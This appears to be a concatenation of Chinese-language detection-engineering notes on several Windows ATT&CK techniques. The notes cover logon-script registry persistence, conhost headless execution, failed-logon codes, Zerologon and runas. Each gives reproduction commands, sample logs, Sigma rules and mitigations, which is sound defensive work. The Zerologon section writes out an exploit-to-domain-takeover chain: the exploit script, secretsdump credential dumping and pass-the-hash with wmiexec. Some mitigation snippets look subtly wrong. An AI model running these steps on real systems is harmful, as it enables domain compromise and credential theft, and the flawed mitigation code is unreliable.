攻击者可能利用Windows登录脚本在用户登录时自动执行恶意代码,以实现持久化。Windows支持通过配置登录脚本在特定用户或用户组登录系统时运行指定脚本。这种机制可通过在注册表键`HKU\\Environment\UserInitMprLogonScript`中设置脚本路径实现。攻击者可利用此功能在单一系统上维持持久性,或在域环境中通过组策略分发登录脚本实现更广泛的持久化。根据脚本的访问权限,可能需要本地用户凭据或管理员权限。登录脚本通常以登录用户的权限运行,可能被用于执行恶意命令、安装后门或收集数据。 ## 测试案例 ### 用例 - **持久化**:通过注册表添加登录脚本,在用户登录时运行恶意批处理或可执行文件。 - **数据收集**:运行脚本收集系统信息并输出到指定位置。 - **后门部署**:通过登录脚本启动恶意服务或工具。 - **横向移动**:结合域环境,通过组策略推送恶意登录脚本。 ### 示例场景 - 攻击者在`HKCU\Environment\UserInitMprLogonScript`注册表项中添加一个批处理脚本路径,脚本在用户登录时运行并记录日志。 - 攻击者利用本地权限创建脚本,实现单一用户的持久化。 ### 路径 - 相关路径: ```yml - HKU\\Environment\UserInitMprLogonScript - %TEMP%\.bat - %USERPROFILE%\Desktop\.txt ``` ### 所需权限 - 本地用户权限(修改`HKCU`注册表项)。 - 管理员权限(若修改`HKLM`或域策略)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`reg.exe`或其他工具的进程创建,涉及注册表修改。 - **事件ID 4624**:记录用户登录事件,可能触发脚本执行。 ### Sysmon日志 - **事件ID 1**:捕获`reg.exe`或其他工具的进程创建,包含命令行参数。 - **事件ID 13**:记录注册表值修改(如`UserInitMprLogonScript`)。 - **事件ID 11**:记录脚本文件(如`.bat`)的创建或修改。 ### 其他日志 - **PowerShell日志**:若脚本涉及PowerShell,可能记录事件ID 4104(脚本块执行)。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2016。 - **权限**:本地用户权限(修改`HKCU`)。 - **工具**: - 原生Windows工具(`reg.exe`、`cmd.exe`)。 - Sysmon(监控进程和注册表活动)。 - Wireshark(可选,监控网络活动,若脚本涉及远程通信)。 - **网络**:隔离网络环境,无需特定端口。 - **日志**:启用Windows安全日志(事件ID 4688)、Sysmon日志(事件ID 1、13、11)。 - **注册表检查**: - 验证`HKCU\Environment`是否存在: ```powershell Get-ItemProperty -Path "HKCU:\Environment" ``` ### 攻击步骤 1. **创建恶意脚本**: ```cmd echo echo "Logon Script atomic test was successful." >> %USERPROFILE%\Desktop\T1037.001-log.txt > %TEMP%\logon_script.bat ``` - 创建批处理脚本`logon_script.bat`,输出成功日志到桌面。 2. **添加注册表项**: ```cmd REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "%TEMP%\logon_script.bat" /f ``` - 将脚本路径写入`UserInitMprLogonScript`。 3. **触发脚本**: - 注销并重新登录当前用户,触发脚本执行。 - 检查`%USERPROFILE%\Desktop\T1037.001-log.txt`是否生成。 4. **验证结果**: - 检查注册表: ```powershell Get-ItemProperty -Path "HKCU:\Environment" -Name "UserInitMprLogonScript" ``` - 验证Sysmon日志,确认事件ID 13(注册表修改)和事件ID 11(文件创建)。 - 检查`T1037.001-log.txt`内容。 5. **清理**: ```cmd REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f del %TEMP%\logon_script.bat del %USERPROFILE%\Desktop\T1037.001-log.txt ``` ## 测试留痕 以下为Sysmon日志示例(事件ID 1,进程创建): ```yml EventID: 1 UtcTime: 2025-06-08T05:40:09.002Z ProcessGuid: {78c84c47-fd19-61db-b511-000000000800} ProcessId: 7112 Image: C:\Windows\System32\reg.exe FileVersion: 10.0.17763.1 Description: Registry Console Tool Product: Microsoft® Operating System Company: Microsoft Corporation CommandLine: REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator.ZHULI\AppData\Local\Temp\logon_script.bat" /f CurrentDirectory: C:\Users\Administrator.ZHULI\Desktop\ User: ZHULI\Administrator LogonId: 0x144DA95 IntegrityLevel: High Hashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B ParentProcessId: 2512 ParentImage: C:\Windows\System32\cmd.exe ``` 以下为Sysmon日志示例(事件ID 13,注册表修改): ```yml EventID: 13 UtcTime: 2025-06-08T05:40:09.003Z ProcessGuid: {78c84c47-fd19-61db-b511-000000000800} ProcessId: 7112 Image: C:\Windows\System32\reg.exe EventType: SetValue TargetObject: HKU\S-1-5-21-2729552704-1545692732-1695105048-500\Environment\UserInitMprLogonScript Details: C:\Users\Administrator.ZHULI\AppData\Local\Temp\logon_script.bat User: ZHULI\Administrator ``` ## 检测方法/思路 ### Sigma规则 ```yml title: Suspicious Logon Script Persistence via Registry id: c9d0e1f2-4a5b-6c7d-8e9f-0a1b2c3d4e5g status: experimental description: Detects addition of logon script in HKU\Environment\UserInitMprLogonScript for persistence references: - https://attack.mitre.org/techniques/T1037/001 - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.001/T1037.001.md logsource: product: windows category: registry_set detection: selection: EventID: 13 Image|endswith: '\reg.exe' TargetObject|contains: '\Environment\UserInitMprLogonScript' condition: selection falsepositives: - Legitimate administrative configuration of logon scripts - IT automation scripts level: high ``` ### 检测思路 1. **注册表监控**: - 检测`HKU\*\Environment\UserInitMprLogonScript`的创建或修改(事件ID 13)。 - 关注`reg.exe`或其他工具的异常注册表操作。 2. **文件监控**: - 检测脚本文件(如`.bat`、`.ps1`)在`%TEMP%`或非标准路径的创建(事件ID 11)。 3. **进程监控**: - 检测`reg.exe`或脚本解释器(如`cmd.exe`、`powershell.exe`)的异常启动。 - 检查父子进程关系,识别脚本执行链。 4. **登录事件监控**: - 检测事件ID 4624,关注登录后触发的异常进程。 5. **行为基线**: - 建立组织内登录脚本的正常配置,识别异常路径或非预期用户。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控注册表修改(事件ID 13)、文件创建(事件ID 11)和进程创建(事件ID 1)。 - **日志配置**:启用Windows安全日志的进程和登录事件审核。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测注册表和脚本相关活动。 - **误报过滤**:排除合法IT脚本或管理员配置,结合上下文(如用户、路径)降低误报率。 ## 缓解措施 1. **注册表保护**: - 限制非管理员用户修改`HKCU\Environment`: ```powershell Set-Acl -Path "HKCU:\Environment" -AclObject (Get-Acl -Path "HKCU:\Environment" | Where-Object { $_.Access | Where-Object { $_.IdentityReference -eq "Everyone" } | ForEach-Object { $_.AccessControlType = "Deny" } }) ``` 2. **脚本限制**: - 使用AppLocker或WDAC限制未签名脚本的执行: ```powershell New-AppLockerPolicy -RuleType Publisher -User Everyone -Action Deny ``` 3. **登录脚本管理**: - 定期审计`HKU\*\Environment\UserInitMprLogonScript`和组策略登录脚本。 - 限制域环境中非授权用户配置登录脚本。 4. **监控与告警**: - 配置SIEM实时告警注册表修改和异常脚本执行。 - 部署IDS/IPS,检测脚本的网络行为。 5. **用户权限管理**: - 最小化本地用户权限,防止未授权注册表修改。 ## 参考推荐 - MITRE ATT&CK T1037.001 https://attack.mitre.org/techniques/T1037/001 - Atomic Red Team T1037.001 https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.001/T1037.001.md ================================================ FILE: Windows/06权限提升/T1068-win-权限提升-带有Headless参数的Windows ConHost.md ================================================ # T1068-Win-权限提升-带有Headless参数的Windows ConHost ## 描述 攻击者可能利用软件漏洞或滥用系统可执行文件(如`conhost.exe`)来提升权限或规避防御机制。T1068技术涉及利用程序、服务或操作系统内核中的编程错误执行恶意代码,或通过可信二进制文件(如`conhost.exe`)代理执行恶意进程,以绕过安全限制。`conhost.exe`是Windows控制台主机进程,负责托管命令行应用程序,自Windows 7和Windows Server 2008起引入,用于增强控制台应用程序的安全性。然而,攻击者可能利用`conhost.exe`的`--headless`参数隐藏子进程窗口,执行恶意程序(如`calc.exe`),从而规避检测或实现特权操作。这种行为在合法操作中极少使用,表明潜在的可疑活动,可能用于权限提升或防御逃逸。 ## 测试案例 ### 用例 - **防御规避**:使用`conhost.exe`作为代理二进制文件,隐藏恶意子进程(如`calc.exe`)的执行。 - **窗口隐藏**:通过`--headless`参数运行子进程,防止弹出可见窗口,降低用户察觉风险。 - **权限提升**:结合漏洞或高权限上下文,利用`conhost.exe`启动特权进程。 - **持久化**:通过脚本或计划任务调用`conhost.exe`,运行恶意代码。 ### 示例场景 - 攻击者运行`conhost.exe --headless calc.exe`,以`conhost.exe`作为父进程启动计算器,隐藏窗口。 - 攻击者利用`conhost.exe`代理执行恶意Payload,规避基于父进程的检测。 ### 路径 - 相关工具路径: ```yml - C:\Windows\System32\conhost.exe - C:\Windows\System32\calc.exe ``` ### 所需权限 - 本地用户权限(运行`conhost.exe`和子进程)。 - 管理员权限(若涉及特权操作或漏洞利用)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`conhost.exe`及其子进程(如`calc.exe`)的创建,包含命令行参数(如`--headless`)。 - **事件ID 4672**:记录分配给新进程的安全特权(如高权限)。 ### Sysmon日志 - **事件ID 1**:捕获`conhost.exe`及其子进程的创建,包含命令行参数。 - **事件ID 10**:记录`conhost.exe`对子进程的访问,可能涉及代理执行。 ### 其他日志 - **网络日志**:若子进程涉及网络通信,可捕获相关流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2016。 - **权限**:本地用户权限。 - **工具**: - 原生Windows工具(`conhost.exe`、`cmd.exe`)。 - Sysmon(监控进程活动)。 - Wireshark(可选,监控网络活动,若子进程涉及通信)。 - **网络**:隔离网络环境,无需特定端口。 - **日志**:启用Windows安全日志(事件ID 4688)、Sysmon日志(事件ID 1)。 - **环境检查**: - 验证`conhost.exe`存在: ```powershell Get-Item -Path "C:\Windows\System32\conhost.exe" ``` ### 攻击步骤 1. **执行无Headless参数**: ```cmd conhost.exe calc.exe ``` - 以`conhost.exe`作为父进程启动计算器,观察窗口是否可见。 2. **执行带Headless参数**: ```cmd conhost.exe --headless calc.exe ``` - 启动计算器,验证窗口是否隐藏。 3. **验证结果**: - 检查计算器进程是否运行: ```powershell Get-Process -Name calc ``` - 验证Windows安全日志,确认事件ID 4688记录`conhost.exe`和`calc.exe`的进程创建。 - 检查Sysmon日志,捕获`--headless`命令行参数。 4. **清理**: - 终止计算器进程: ```cmd taskkill /IM calc.exe /F ``` ## 测试留痕 以下为Windows安全日志示例(事件ID 4688,进程创建): ```yml EventID: 4688 TimeCreated: 2025-06-08T05:50:23.456Z Channel: Security Hostname: MAJACKD3D7 SubjectUserSid: S-1-5-21-4139220405-2433135684-1686031733-1000 SubjectUserName: jackma SubjectDomainName: MAJACKD3D7 SubjectLogonId: 0x1f9f5 NewProcessId: 0x16b4 NewProcessName: C:\Windows\System32\conhost.exe TokenElevationType: %%1938 ProcessId: 0x670 CommandLine: conhost.exe --headless calc.exe TargetUserSid: S-1-0-0 TargetUserName: - TargetDomainName: - TargetLogonId: 0x0 ParentProcessName: C:\Windows\System32\cmd.exe MandatoryLabel: S-1-16-8192 ``` 以下为Sysmon日志示例(事件ID 1,进程创建): ```yml EventID: 1 UtcTime: 2025-06-08T05:50:23.789Z ProcessGuid: {b2c3d4e5-6789-61df-0f12-000000000900} ProcessId: 5812 Image: C:\Windows\System32\conhost.exe CommandLine: conhost.exe --headless calc.exe ParentProcessId: 1648 ParentImage: C:\Windows\System32\cmd.exe User: MAJACKD3D7\jackma IntegrityLevel: Medium Hashes: SHA1=A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6 ``` ## 检测方法/思路 ### Sigma规则 ```yml title: Suspicious Windows ConHost with Headless Parameter id: e0f1a2b3-4c5d-6e7f-8a9b-0c1d2e3f4g5h status: experimental description: Detects use of conhost.exe with --headless parameter, indicative of potential privilege escalation or defense evasion references: - https://attack.mitre.org/techniques/T1068 - https://lolbas-project.github.io/lolbas/Binaries/Conhost/ - https://research.splunk.com/endpoint/d5039508-998d-4cfc-8b5e-9dcd679d9a62/ logsource: product: windows category: process_creation detection: selection: EventID: 1 Image|endswith: '\conhost.exe' CommandLine|contains: '--headless' condition: selection falsepositives: - Rare legitimate use of conhost.exe with --headless in automation scripts level: high ``` ### 检测思路 1. **进程监控**: - 检测`conhost.exe`进程创建,关注命令行参数包含`--headless`。 - 监控`conhost.exe`的子进程(如`calc.exe`、`powershell.exe`),检查是否为异常程序。 2. **父子进程关系**: - 检查`conhost.exe`的父进程(如`cmd.exe`)是否为非预期脚本或工具。 3. **行为基线**: - 建立组织内`conhost.exe`的正常使用模式,识别`--headless`的异常调用。 4. **文件监控**: - 检测`conhost.exe`的异常部署路径(如非`C:\Windows\System32`)。 5. **权限监控**: - 检测`conhost.exe`启动的子进程是否以高权限运行(结合事件ID 4672)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控进程创建(事件ID 1)和命令行参数。 - **日志配置**:启用Windows安全日志的进程创建审核(事件ID 4688)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测`conhost.exe`的异常行为。 - **误报过滤**:排除罕见的合法自动化脚本,结合上下文(如用户、子进程)降低误报率。 ## 缓解措施 1. **可执行文件限制**: - 使用AppLocker或WDAC限制`conhost.exe`的非标准使用: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\conhost.exe" -User Everyone -Action Allow ``` 2. **命令行监控**: - 配置安全策略,限制`conhost.exe`的命令行参数(如`--headless`)。 3. **权限管理**: - 最小化用户权限,防止滥用系统二进制文件。 - 启用UAC,确保特权操作触发提示。 4. **监控与告警**: - 配置SIEM实时告警`conhost.exe`的`--headless`使用。 - 部署IDS/IPS,检测异常子进程行为。 5. **补丁管理**: - 定期更新Windows系统,修复潜在漏洞。 ## 参考推荐 - MITRE ATT&CK T1068 https://attack.mitre.org/techniques/T1068 - LOLBAS Conhost https://lolbas-project.github.io/lolbas/Binaries/Conhost/ - Splunk ConHost Headless检测 https://research.splunk.com/endpoint/d5039508-998d-4cfc-8b5e-9dcd679d9a62/ ================================================ FILE: Windows/06权限提升/T1078.003-Win-帐户篡改-可疑的失败登录原因.md ================================================ # T1078.003-Win-可疑的失败登录行为 ## 描述 攻击者可能通过凭据访问技术窃取特定用户或服务账号的凭据,或者在早期的侦察过程中通过社会工程手段捕获凭据以获得首次访问权限。 攻击者可能使用以下三类账号: 1. **默认账号**:操作系统内置的账号,例如Windows系统上的访客或管理员账号,或者其他类型系统、软件或设备上的默认工厂/提供商账号。 2. **本地账号**:由组织配置给用户、远程支持或服务的账号,或单个系统/服务的管理账号。 3. **域账号**:由活动目录域服务(AD-DS)管理的账号,其访问权限和权限在域内不同系统和服务之间配置,涵盖用户、管理员和服务账号。 攻击者可能利用窃取的凭据绕过网络内系统上各种资源的访问控制,甚至实现对远程系统和外部可用服务(如VPN、Outlook Web Access和远程桌面)的持久访问。此外,攻击者可能通过窃取的凭据获得特定系统的更高权限或访问网络受限区域。攻击者可能选择不将恶意软件或工具与这些凭据提供的合法访问结合使用,从而降低被检测的风险。 默认账号不仅限于客户端机器上的访客和管理员账号,还包括为设备(如网络设备和计算机应用)预设的账号。这些账号可能是内部的、开源的或商用现货产品(COTS)的。如果设备预设的用户名和密码组合在安装后未更改,将对组织构成严重威胁,因为它们容易成为攻击者的目标。同样,攻击者可能利用公开披露的私钥或盗取的私钥通过远程服务合法连接到远程环境。 需要特别关注跨系统网络的账号访问、凭据和权限的重叠,因为攻击者可能通过在不同账号和系统之间切换,获得更高的访问级别(如域管理员或企业管理员),从而绕过企业内设置的访问控制。 ## 测试案例 **Windows账户登录失败**:模拟攻击者尝试使用禁用账号、受限账号或不被授权的账号进行登录,观察系统是否记录相关失败登录事件。 ## 检测日志 **Windows 安全日志**:通过Windows事件查看器中的安全日志,捕获与登录失败相关的事件记录。 ## 测试复现 场景较为简单,可通过以下步骤自行测试: 1. 使用已知被禁用或受限的账号尝试登录Windows系统。 2. 使用未授权的工作站或超出授权时间的账号进行登录尝试。 3. 观察Windows安全日志中生成的事件ID和状态码。 ## 测试留痕 **Windows安全事件ID(适用于Windows 7 / Windows Server 2008及以上版本)**: - **4625**:普通账户登录失败 - **4776**:域账户登录失败 ## 检测规则/思路 ### Sigma规则 ```yml title: 帐户篡改-可疑的失败登录原因 description: 此方法对失败的登录使用不常见的错误代码来确定可疑活动并篡改已禁用或受某种方式限制的帐户。 date: 2020/06/09 tags: - attack.persistence - attack.privilege_escalation - attack.t1078 logsource: product: windows service: security detection: selection: EventID: - 4625 # 普通账户登录失败 - 4776 # 域账户登录失败 Status: - '0xC0000072' # 用户登录到帐户已被管理员禁用 - '0xC000006F' # 用户在授权时间之外登录 - '0xC0000070' # 用户从未经授权的工作站登录 - '0xC0000413' # 登录失败:您登录的计算机受到身份验证防火墙的保护。指定的帐户不允许对计算机进行身份验证 - '0xC000018C' # 登录请求失败,因为主域和可信域之间的信任关系失败 - '0xC000015B' # 用户尚未在此计算机上被授予请求的登录类型(也称为登录权限) condition: selection falsepositives: - 使用禁用帐户的用户 - 合法用户在非授权时间或设备上尝试登录 level: high ``` **注意**:此规则主要针对用户账户登录失败行为的状态码进行分析,重点关注不常见的错误代码以识别潜在的账户篡改或未授权访问行为。 ### 建议 1. **启用全面的日志记录**:确保Windows安全日志记录所有登录尝试,尤其是失败的登录事件,并定期审查这些日志。 2. **监控异常登录模式**:关注频繁的登录失败事件,特别是涉及禁用账号、受限账号或不常见错误代码的情况。 3. **加强默认账号管理**:更改所有默认账号的凭据,禁用不必要的默认账号,并定期审查默认账号的使用情况。 4. **实施最小权限原则**:限制账号的访问权限,确保用户和服务账号仅具有完成任务所需的最低权限。 5. **定期更新和审查信任关系**:检查域和可信域之间的信任关系,确保无异常配置。 6. **部署SIEM系统**:使用安全信息和事件管理(SIEM)系统,结合上述Sigma规则,实时监控和分析登录失败事件。 ## 参考推荐 - MITRE ATT&CK: T1078.003 - Microsoft Windows 安全事件日志 - Sigma规则库 ================================================ FILE: Windows/06权限提升/T1134.001-Win-CVE-2020-1472.md ================================================ # T1134.001-Win-CVE-2020-1472 ## 描述 攻击者可能通过复制并冒充另一个用户的令牌来提升特权并绕过访问控制。攻击者可以使用`DuplicateToken(Ex)`函数创建新的访问令牌,复制现有令牌。然后,该令牌可通过`ImpersonateLoggedOnUser`使调用线程模拟已登录用户的安全上下文,或通过`SetThreadToken`将模拟令牌分配给线程。 当攻击者拥有一个特定的现有进程并希望将新令牌分配给该进程时,这种技术尤为有效。例如,当目标用户在系统上具有非网络登录会话时,攻击者可能利用此方法。 ## 测试案例 2020年9月11日,安全研究员Secura发布公告,详细说明了Microsoft于2020年8月修补的漏洞(CVE-2020-1472)。该漏洞被称为“Zerologon”,CVSS评分高达10.0,因其能在短时间内(号称3秒)攻陷域控制器(DC),危害极大。攻击者可通过NetLogon(MS-NRPC)协议与活动目录(AD)域控制器建立安全通道时,利用该漏洞将域控制器的计算机账号密码置为空,从而完全控制域控制器。本文从漏洞原理、复现过程和威胁狩猎三个方面对该漏洞进行分析。 具体内容可参考安全客文章:[Zerologon分析与狩猎](https://www.anquanke.com/post/id/219090#h2-2)。 ## 检测日志 - **Windows 系统日志**:通过Windows事件查看器中的系统日志捕获相关事件。 - **全流量日志**:通过网络流量分析工具(如Zeek)捕获NetLogon协议的异常请求。 此外,Microsoft在2020年8月的补丁中新增了五个事件ID,用于监控易受攻击的NetLogon连接: 1. **Event ID 5829**:允许存在漏洞的NetLogon安全通道连接时触发。 2. **Event ID 5827/5828**:拒绝易受攻击的NetLogon连接时触发。 3. **Event ID 5830/5831**:允许存在漏洞的NetLogon连接时触发。 如果域控制器已安装相关补丁,可通过上述事件ID进行威胁狩猎。 ## 测试复现 以下复现过程参考安全客文章:[Zerologon分析与狩猎](https://www.anquanke.com/post/id/219090#h2-2)。 ### 实验环境 ```yaml 域控制器: 系统:Windows Server 2012 R2(x64) IP:10.10.10.10 主机名:DC 域:de1ay.com ``` ![Windows域控](https://p4.ssl.qhimg.com/t01d53a30398ec357a2.jpg) ```yaml 攻击机: 系统:Ubuntu 16.04(x64) IP:10.10.10.111 ``` ![攻击机](https://p4.ssl.qhimg.com/t019275a00ca38b1d6b.jpg) ### 复现步骤 1. **运行漏洞利用脚本** 使用公开的CVE-2020-1472漏洞利用脚本,将域控制器机器账户(DC)的密码置为空: ```bash python3 cve-2020-1472-exploit.py DC 10.10.10.10 ``` ![漏洞利用](https://p0.ssl.qhimg.com/t01f402a9c7c4c3b532.jpg) 2. **导出域内凭据** 域控制器账户密码置为空后,可视为已知密码,使用`secretsdump.py`导出域内所有用户凭据: ```bash python3 secretsdump.py de1ay/DC\$@10.10.10.10 -no-pass ``` ![凭据导出](https://p0.ssl.qhimg.com/t01497ee0714e6f98cc.jpg) 导出的哈希中,DC账户的NTLM哈希为`31d6cfe0d16ae931b73c59d7e0c089c0`,表示空密码。同时,获得了域管理员(Administrator)的哈希。 3. **利用域管理员哈希控制域控** 使用域管理员的NTLM哈希通过`wmiexec.py`登录域控制器,完成接管: ```bash python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10 ``` ![域控接管](https://p5.ssl.qhimg.com/t0140b167f7020733c8.jpg) ## 测试留痕 暂无具体留痕描述,建议参考安全客文章:[Zerologon分析与狩猎](https://www.anquanke.com/post/id/219090#h2-2)。 可能的留痕包括: - Windows系统日志中的NetLogon相关事件(Event ID 5827–5831)。 - 网络流量中异常的NetLogon协议请求(如大量`NetrServerReqChallenge`或`NetrServerAuthenticate3`请求)。 ## 检测规则/思路 ### Sigma规则 #### 检测规则1:Zeek检测异常NetLogon请求 ```yaml title: Possible CVE-2020-1472 (Zerologon) description: CVE-2020-1472 (Netlogon Elevation of Privilege Vulnerability) may create thousands of NetrServerReqChallenge & NetrServerAuthenticate3 requests in a short amount of time. author: SOC Prime Team date: 2020/09/11 references: - https://github.com/SecuraBV/CVE-2020-1472 tags: - attack.lateral_movement - attack.t1210 logsource: product: zeek service: dce_rpc detection: selection: endpoint: 'netlogon' operation: 'NetrServerReqChallenge' selection2: endpoint: 'netlogon' operation: 'NetrServerAuthenticate3' timeframe: 1m condition: selection or selection2 | count() by src_ip > 100 falsepositives: - Unknown level: high ``` #### 检测规则2:Windows系统日志检测 ```yaml title: Vulnerable Netlogon Secure Channel Connection Allowed id: a0cb7110-edf0-47a4-9177-541a4083128a status: experimental description: Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472. references: - https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc author: NVISO date: 2020/09/15 tags: - attack.privilege_escalation logsource: product: windows service: system detection: selection: EventID: - 5829 # 需域控安装补丁后生效 condition: selection fields: - SAMAccountName falsepositives: - Unknown level: high ``` ### 建议 1. **立即应用补丁**:确保所有域控制器安装了2020年8月或之后的Microsoft安全更新(KB4571729等),以修复CVE-2020-1472漏洞。 2. **启用NetLogon日志**:在域控制器上启用详细的NetLogon日志记录,监控Event ID 5827–5831。 3. **部署网络监控**:使用Zeek或其他网络流量分析工具,检测异常的NetLogon协议请求(如短时间内大量`NetrServerReqChallenge`或`NetrServerAuthenticate3`请求)。 4. **审查机器账户活动**:定期检查域控制器机器账户的异常登录或密码重置行为。 5. **实施SIEM系统**:结合Sigma规则,使用SIEM系统(如Splunk、Elastic)实时监控和分析相关事件。 6. **测试规则效果**:上述Sigma规则未在真实环境中广泛验证,建议在测试环境中验证其有效性,并根据实际环境调整阈值以减少误报。 ## 参考推荐 - MITRE ATT&CK: T1134.001 - Zerologon(CVE-2020-1472)分析与狩猎 - Sigma规则:CVE-2020-1472 - Microsoft NetLogon补丁说明 ================================================ FILE: Windows/06权限提升/T1134.001-Win-访问令牌操作-Runas命令.md ================================================ # T1134.001-Win-访问令牌操作-Runas命令 ## 描述 攻击者可能会复制并冒充另一个用户的访问令牌,以提升特权或绕过访问控制。攻击者可以通过使用Windows API函数`DuplicateToken(Ex)`来复制现有令牌,生成一个新的访问令牌。随后,该令牌可通过`ImpersonateLoggedOnUser`使调用线程模拟已登录用户的安全上下文,或者通过`SetThreadToken`将模拟令牌分配给特定线程。 这种技术在攻击者需要将新令牌分配给特定现有进程时特别有用。例如,当目标用户在系统上具有非网络登录会话时,攻击者可以利用此技术以目标用户的身份执行操作,从而实现特权提升或绕过限制。 ## 测试案例 `runas`是Windows系统内置的命令行工具,允许用户以指定账户的权限运行程序,而不仅仅是继承父进程的权限。通过`runas`,攻击者可以以更高权限(如管理员或域管理员)运行程序,从而实现特权提升。 在命令提示符(cmd)或PowerShell中运行`runas`命令,可查看其用法: ```plaintext C:\Users\Administrator>runas RUNAS 用法: RUNAS [ [/noprofile | /profile] [/env] [/savecred | /netonly] ] /user: program RUNAS [ [/noprofile | /profile] [/env] [/savecred] ] /smartcard [/user:] program RUNAS /trustlevel: program /noprofile 指定不应该加载用户的配置文件。 这会加速应用程序加载,但可能会造成一些应用程序运行不正常。 /profile 指定应该加载用户的配置文件。这是默认值。 /env 要使用当前环境,而不是用户的环境。 /netonly 只在指定的凭据限于远程访问的情况下才使用。 /savecred 用用户以前保存的凭据。 /smartcard 如果凭据是智能卡提供的,则使用这个选项。 /user 应使用 USER@DOMAIN 或 DOMAIN\USER 形式 /showtrustlevels 显示可以用作 /trustlevel 的参数的信任级别。 /trustlevel 应该是在 /showtrustlevels 中枚举的一个级别。 program EXE 的命令行。请参阅下面的例子 示例: > runas /noprofile /user:mymachine\administrator cmd > runas /profile /env /user:mydomain\admin "mmc %windir%\system32\dsa.msc" > runas /env /user:user@domain.microsoft.com "notepad \"my file.txt\"" 注意: 只在得到提示时才输入用户的密码。 注意: /profile 跟 /netonly 不兼容。 注意: /savecred 跟 /smartcard 不兼容。 ``` ## 检测日志 检测`runas`命令的使用主要依赖于Windows安全日志,特别是事件ID 4688(新进程创建)。以下是相关日志信息: - 日志来源:Windows 安全日志 - 事件ID:4688 - 关键字段: - 新进程名称:`C:\Windows\System32\runas.exe` - 进程命令行:包含`/user`参数,例如`runas /user:DOMAIN\USER program` - 令牌提升类型:指示权限提升情况 - 创建者主题:记录发起`runas`命令的用户账户 ## 测试复现 以下是域环境下以域管理员权限运行程序的测试步骤,演示降权或提权操作: 1. 打开命令提示符(cmd)或PowerShell。 2. 输入以下命令以域管理员身份运行cmd: ```plaintext runas /user:qax\weixin cmd ``` 3. 系统会提示输入域管理员账户的密码。 4. 输入正确密码后,将以域管理员权限启动新的cmd窗口。 **注意**:此操作需要目标账户具有非网络登录会话或相关权限。 **示例截图**(参考): ![Runas演示](https://www.hualigs.cn/image/60a2335b0fec0.jpg) ## 测试留痕 以下是Windows安全日志中记录的`runas`命令执行痕迹(事件ID 4688)。注意:以下日志来自不同主机,仅用于演示Windows Server 2012及以上版本操作系统能够记录命令行参数。 ```plaintext 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x4463EA 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x12ac 新进程名称: C:\Windows\System32\runas.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x12b0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: runas /user:qax\weixin cmd ``` ## 检测规则/思路 ### Sigma规则 以下是用于检测`runas`命令权限提升的Sigma规则: ```yaml title: Runas命令进行权限提升 description: 检测使用Runas命令以管理员或域用户身份运行程序的行为,可能表示权限提升。 status: experimental references: - https://attack.mitre.org/techniques/T1134/001/ - https://walterlv.blog.csdn.net/article/details/89838982 logsource: product: windows service: security detection: selection: EventID: 4688 NewProcessName|endswith: '\runas.exe' CommandLine|contains: '/user' condition: selection fields: - EventID - NewProcessName - CommandLine - CreatorProcessName - ParentProcessName level: high ``` ### 检测思路 1. **命令行审计**: - 启用Windows命令行审计(默认未启用),通过组策略配置“审核进程创建”以记录事件ID 4688。 - 重点监控`runas.exe`进程的命令行参数,特别是包含`/user`的执行记录。 - 检查命令行中指定的用户名是否为高权限账户(如Administrator或域管理员)。 2. **Windows API监控**: - 监视`DuplicateToken(Ex)`、`ImpersonateLoggedOnUser`和`SetThreadToken`等API调用,这些是令牌操作的核心函数。 - 将API调用与其他可疑行为(如异常进程创建或网络活动)关联,以减少误报。 3. **行为分析**: - 检测异常的`runas`使用模式,例如普通用户频繁尝试以管理员身份运行程序。 - 结合上下文分析父进程(如cmd.exe或powershell.exe)及其用户账户,判断是否为合法操作。 4. **日志配置建议**: - 确保Windows Server 2012及以上版本启用详细命令行日志记录(通过组策略:`计算机配置 > 管理模板 > 系统 > 审核系统事件 > 包括命令行`)。 - 配置SIEM系统(如Splunk或Elastic)以实时解析事件ID 4688日志,并设置告警规则。 ### 减少误报 - 排除已知的合法`runas`使用场景,例如管理员在日常运维中以特定账户运行管理工具。 - 结合上下文分析,例如检查`runas`执行的程序是否为可信应用(如`cmd.exe`、`mmc.exe`)。 ## 防御建议 1. **限制Runas使用**: - 通过组策略限制普通用户执行`runas`命令,或仅允许特定账户使用。 - 禁用不必要的管理员账户,减少攻击者可冒充的高权限账户。 2. **启用命令行审计**: - 确保系统启用详细的命令行日志记录,以便检测异常的`runas`使用。 3. **监控高权限账户**: - 定期审计管理员和域管理员账户的使用情况,检测异常登录或权限提升行为。 4. **最小权限原则**: - 遵循最小权限原则,限制用户和进程的默认权限,减少令牌被滥用的风险。 5. **EDR部署**: - 部署端点检测与响应(EDR)工具,实时监控令牌操作相关的API调用和进程行为。 ## 参考链接 - 